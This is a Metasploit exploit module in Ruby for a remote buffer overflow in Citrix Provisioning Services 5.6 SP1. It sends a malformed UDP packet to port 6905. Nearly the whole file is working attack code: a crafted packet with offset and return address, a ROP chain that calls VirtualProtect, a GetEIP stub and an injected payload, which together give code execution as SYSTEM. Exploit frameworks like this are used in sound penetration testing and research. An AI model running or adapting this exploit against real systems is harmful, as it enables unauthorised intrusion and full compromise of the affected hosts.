##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::Udp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020004 Buffer Overflow',
   'Description'    => %q{
     This module exploits a remote buffer overflow in the Citrix Provisioning Services
    5.6 SP1 (without Hotfix CPVS56SP1E043) by sending a malformed packet with the opcode
    0x40020004 (GetBootRecordRequest) to the 6905/UDP port. The module, which allows
    code execution under the context of SYSTEM, has been successfully tested on Windows Server
    2003 SP2 and Windows XP SP3.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'alino <26alino[at]gmail.com>', # citrix_streamprocess_data_msg author
     'juan vazquez'  # Metasploit module
    ],
   'Version'        => '$Revision: $',
   'References'     =>
    [
     ['OSVDB', '75780'],
     ['BID', '49803'],
     ['URL', 'http://support.citrix.com/article/CTX130846']
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'InitialAutoRunScript' => 'migrate -f',
    },
   'Payload'        =>
    {
     'BadChars' => "\x00",
     'EncoderOptions' => {'BufferRegister'=>'ECX'},
    },
   'Platform'       => ['win'],
   'Targets'        =>
    [
     [ 'Citrix Provisioning Services 5.6 SP1',
      {
       'Offset' => 2012,
       'Ret'    => 0x0045403a # ADD ESP,664; RETN 04 streamprocess.exe
      }
     ]
    ],
   'Privileged'     => true,
   'DisclosureDate' => 'Nov 04 2011',  #CTX130846 creation date
   'DefaultTarget'  => 0))

  register_options([Opt::RPORT(6905)], self.class)
 end

 def exploit

  packet =  "\x04\x00\x02\x40" # DATA MSG
  packet << rand_text_alpha_upper(18)
  packet << "\x00\x00\x00\x00" # Length
  packet << rand_text_alpha_upper(target['Offset'])
  packet << [target.ret].pack('V')

  rop_nop = [0x004a072c].pack('V') * 38 # RETN streamprocess.exe

  rop_gadgets =
  [
   0x0045b141, # POP EAX; RETN streamprocess.exe
   0x1009a1bc, # VirtualProtect()
   0x00436d44, # MOV EAX,DWORD PTR DS:[EAX]; RETN streamprocess.exe
   0x004b0bbe, # XCHG EAX,ESI; RETN streamprocess.exe
   0x004ad0cf, # POP EBP; RETN streamprocess.exe
   0x00455d9d, # PUSH ESP; RETN streamprocess.exe
   0x00497f5a, # POP EAX; RETN streamprocess.exe
   0xfffff9d0, # dwSize
   0x00447669, # NEG EAX; RETN streamprocess.exe
   0x004138a7, # ADD EBX,EAX; XOR EAX,EAX; RETN streamprocess.exe
   0x00426305, # POP ECX; RETN streamprocess.exe
   0x00671fb9, # lpflOldProtect
   0x004e41e6, # POP EDI; RETN streamprocess.exe
   0x0040f004, # RETN streamprocess.exe
   0x00495c05, # POP EAX; RETN streamprocess.exe
   0xffffffc0, # flNewProtect
   0x0042c79a, # NEG EAX; RETN streamprocess.exe
   0x0049b676, # XCHG EAX,EDX; RETN streamprocess.exe
   0x0045c1fa, # POP EAX; RETN streamprocess.exe
   0x90909090, # NOP
   0x00435bbe, # PUSHAD; RETN streamprocess.exe
  ].pack("V*")

  packet[386, rop_nop.length] = rop_nop
  packet[538, rop_gadgets.length] = rop_gadgets
  # Put payload address in ecx
  geteip = "\xeb\x03" # jmp short 0x5
  geteip << "\x59" # pop ecx
  geteip << "\xff\xd1" # call ecx
  geteip << "\xe8\xf8\xff\xff\xff" # call to "pop / call"
  packet[622, 10] = geteip
  packet[632, payload.encoded.length] = payload.encoded

  print_status("Trying target #{target.name}...")

  connect_udp
  udp_sock.put(packet)

  handler
  disconnect_udp

 end
end